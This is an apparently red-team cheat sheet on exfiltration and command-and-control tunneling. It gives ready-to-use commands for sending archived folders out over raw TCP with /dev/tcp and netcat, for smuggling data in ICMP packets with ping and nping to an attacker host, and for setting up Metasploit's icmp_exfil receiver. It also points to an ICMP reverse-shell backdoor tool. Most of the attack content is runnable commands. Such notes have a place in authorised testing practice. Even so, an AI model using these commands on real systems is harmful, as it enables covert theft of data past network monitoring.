Tunneling, Exfil, C2 Comms

TCP Tunneling
SSH Tunneling
HTTP Tunneling
ICMP Tunneling
Using Metasploit

Good for testing outbound communication (Code Execution)

Interact.sh | Web Client

app.interactsh.com

Will catch DNS requests & calls (For testing code execution)

TCP Tunneling

Using simple TCP with netcat

# Listen on p. 1337 & redirecting incoming data to a file
nc -lvp 1337 > ./received_data

# Sending compressed data 
# (EBCDIC is conversion from ASCII)
tar zcf - Folder/ | base64 | dd conv=ebcdic > /dev/tcp/<IP>/<ListeningPort>

echo "hello world" | base64 > /dev/tcp/<ip>/<port>

SSH Tunneling

Simply sending over data through SSH without holding the session:

# Sending a Tarball through SSH and decompressing it when SSH'ing
tar cf - DIRECTORY/ | ssh user@host "cd some_folder; tar xpf -"

HTTP Tunneling

Tunneling data over HTTP via API POST requests with cURL, wget, etc.

Sample Web Servers (The interesting one is the Flask one):

GitHub - Argandov/Simple-Web-Servers: Handling POST requests to receive data

Handling POST requests to receive data. Contribute to Argandov/Simple-Web-Servers development by creating an account on GitHub.

github.com

GitHub - Argandov/Simple-Web-Servers: Handling POST requests to receive data

ICMP Tunneling

Sending additional packets through ICMP:

# Convert payload to Hex example:
Echo "Hello" | xxd -d

# Send Hex code through ping:
ping -c 1 <IP> -p 4141414141

ICMPDoor: ICMP Tunneling

GitHub - krabelize/icmpdoor: ICMP Reverse Shell written in Python 3 and with Scapy (backdoor/rev shell)

icmpdoor is an ICMP rev shell written in Python3 and scapy. Tested on Ubuntu 20.04, Debian 10 (Kali Linux), and Windows 10. Read this blog post for more information.

github.com

GitHub - krabelize/icmpdoor: ICMP Reverse Shell written in Python 3 and with Scapy (backdoor/rev shell)

Nping: Network Packet Generation

Nping - Network packet generation tool & ping utility

Nping is an open source tool for network packet generation, response analysis and response time measurement. Nping can generate network packets for a wide range of protocols, allowing users full control over protocol headers.

nmap.org

Nping - Network packet generation tool & ping utility

Using Metasploit

msf5 > use auxiliary/server/icmp_exfil
msf5 auxiliary(server/icmp_exfil) > set BPF_FILTER icmp and not src (MY IP)
BPF_FILTER => icmp and not src (MY IP)

msf5 auxiliary(server/icmp_exfil) > set INTERFACE eth0
INTERFACE => eth0
msf5 auxiliary(server/icmp_exfil) > run

icmp_exfil requires an EOF and BOF end termination:

# "BOF" + New File that will be registered by msf to write
sudo nping --icmp -c 1 ATTACKBOX_IP --data-string "BOFnew_file.txt"

# Several or a single string to send into the packets:
sudo nping --icmp -c 1 ATTACKBOX_IP --data-string "MESSAGE"

# EOF so Msf knows when to stop and save the file
sudo nping --icmp -c 1 ATTACKBOX_IP --data-string "EOF"